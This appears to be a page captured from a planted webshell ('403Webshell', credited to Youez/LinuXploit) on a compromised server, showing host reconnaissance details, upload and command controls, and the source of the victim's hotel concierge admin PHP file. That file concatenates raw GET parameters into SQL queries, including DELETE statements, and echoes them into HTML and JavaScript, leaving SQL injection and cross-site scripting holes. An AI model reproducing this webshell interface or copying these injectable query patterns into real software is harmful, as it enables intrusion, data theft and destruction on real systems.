403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/concierges_ajax.php
<?php
	//ini_set('display_errors',1);
	//error_reporting(E_ALL & ~E_NOTICE);
?>
<?php include('_mod_security.php'); ?>
<?php
	//header('Content-Type: application/json');
	//var_dump($_GET);
	$sql = '';
	switch ($_GET['func']):
		case 'grid' :
			require_once('classes/lcs_db_grid.php');
			$sql = "SELECT id, description FROM job_categories ORDER BY description";
			$result_job_cat = $db->query($sql) or die('Database Error!');
			$ar_job_cat = $result_job_cat->fetchAll(PDO::FETCH_KEY_PAIR);
			$dbg = new lcs_db_grid;
			$dbg->start_header_section();
			$dbg->start_header();
			$dbg->add_column(['label' => 'Title', 'dbcol' => 'c.title', 'width' => '100px', 'class' => 'hover_expand']);
			$dbg->add_column(['label' => 'First Name', 'dbcol' => 'c.first_name', 'width' => '85px', 'class' => 'hover_expand']);
			$dbg->add_column(['label' => 'Last Name', 'dbcol' => 'c.last_name', 'width' => '90px', 'class' => 'hover_expand']);
			$dbg->add_column(['label' => 'Job Cat', 'dbcol' => 'jc.description', 'width' => '80px', 'class' => 'hover_expand', 'multi_filter' => $ar_job_cat, 'multi_filter_col' => 'c.job_category_id', 'multi_filter_type' => 'int']);
			$dbg->add_column(['label' => 'Work Email', 'dbcol' => 'c.primary_email', 'width' => '200px', 'class' => 'hover_expand']);
			$dbg->add_column(['label' => 'Personal Email', 'dbcol' => 'c.secondary_email', 'hidden' => true, 'width' => '220px']);
			$dbg->add_column(['label' => 'Email 3', 'dbcol' => 'c.email_3', 'hidden' => true, 'width' => '220px']);
			$dbg->add_column(['label' => 'Email 4', 'dbcol' => 'c.email_4', 'hidden' => true, 'width' => '220px']);
			$dbg->add_column(['label' => 'Hotel', 'dbcol' => 'h.hotel_name', 'width' => '180px', 'class' => 'hover_expand']);
			$dbg->add_column(['label' => 'Work Phone', 'dbcol' => 'c.work_phone', 'width' => '115px']);
			$dbg->add_column(['label' => 'Status', 'dbcol' => 'c.status', 'width' => '55px', 'filter' => true]);
			$dbg->add_column(['label' => 'CGR', 'dbcol' => 'c.cgr', 'width' => '35px', 'align' => 'center', 'filter' => true]);
			$dbg->add_column(['label' => 'GTE', 'dbcol' => 'c.gte_certified', 'width' => '35px', 'align' => 'center', 'filter' => true]);
			$dbg->add_column(['label' => 'Inactivate', 'sortable' => false, 'searchable' => false, 'width' => '65px', 'align' => 'center']);
			$dbg->add_column(['label' => 'Delete', 'sortable' => false, 'searchable' => false, 'width' => '50px', 'align' => 'center']);
			$dbg->end_header();
			$dbg->end_header_section();
			$sql = "SELECT c.*, jc.*, (CASE c.status WHEN 0 THEN 'Inactive' WHEN 1 THEN 'Active' WHEN 2 THEN 'In transition' END) AS c_status, h.hotel_name FROM concierges c LEFT OUTER JOIN hotels h ON (c.hotel_id = h.hotel_id) LEFT OUTER JOIN job_categories jc ON (c.job_category_id = jc.id) ".
					"WHERE ".$dbg->search_spec()." ".$_GET['parm1']." ".$_GET['parm2']." ".$_GET['parm3']." ".
					"ORDER BY ".$dbg->sort_spec();
			//echo ' === '.$sql.' === ';
			$xls_sql = $sql;
			$xls_sql_encoded = xls_sql_encrypt($xls_sql);
			$result = $db->query($sql) or die('Database Error!');
			$dbg->start_data_section();
			if ($result->rowCount() > 0) :
				while ($row = $result->fetch(PDO::FETCH_OBJ)) :
					$dbg->start_row();
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&id='.$row->concierge_id.'" >'.$row->title.'</a>');
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&id='.$row->concierge_id.'" >'.$row->first_name.'</a>');
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&id='.$row->concierge_id.'" >'.$row->last_name.'</a>');
					$dbg->add_cell($row->description);
					$dbg->add_cell($row->primary_email);
					$dbg->add_cell($row->secondary_email);
					$dbg->add_cell($row->email_3);
					$dbg->add_cell($row->email_4);
					$dbg->add_cell($row->hotel_name);
					$dbg->add_cell($row->work_phone);
					$dbg->add_cell($row->c_status);
					$dbg->add_cell('<input type="checkbox" disabled="disabled" '.bool_to_check($row->cgr).' />');
					$dbg->add_cell('<input type="checkbox" disabled="disabled" '.bool_to_check($row->gte_certified).' />');
					if ($row->status == 1) :
						$dbg->add_cell('<a href="javascript:confirm_inactivate_concierge(\'Are you sure?\', \''.$row->concierge_id.'\', \''.$_GET['div'].'\');"><img src="img/inactivate_icon.png" style="border:none;" /></a>');
					else :
						$dbg->add_cell('');
					endif;
					$dbg->add_cell('<a href="javascript:confirmDelete(\'Are you sure? This action cannot be reversed.\', \''.$row->concierge_id.'\', \''.$_GET['div'].'\');"><img src="img/delete_icon.gif" style="border:none;" /></a>');
					$dbg->end_row();
				endwhile;
			else :
				$dbg->start_row();
				$dbg->add_cell('No records found');
				$dbg->end_row();
			endif;
			$dbg->end_data_section();
			echo json_encode(['row_count' => $result->rowCount(), 'html' => $dbg->get_html(), 'xls_sql' => $xls_sql_encoded, 'extra_data'=> '']);
			return;
			break;
		case 'delete' :
			$sql = "DELETE FROM concierges WHERE concierge_id = ".nz(trim($_GET['id']), '0');
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$sql = "DELETE FROM events_concierges WHERE concierge_id = ".nz(trim($_GET['id']), '0');
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$msg = 'Success';
			echo json_encode(['result' => $msg]);
			return;
			break;
		case 'inactivate' :
			$sql = "UPDATE concierges SET status = 0 WHERE concierge_id = ".nz(trim($_GET['id']), '0');
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$msg = 'Success';
			echo json_encode(['result' => $msg]);
			return;
			break;
	endswitch;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit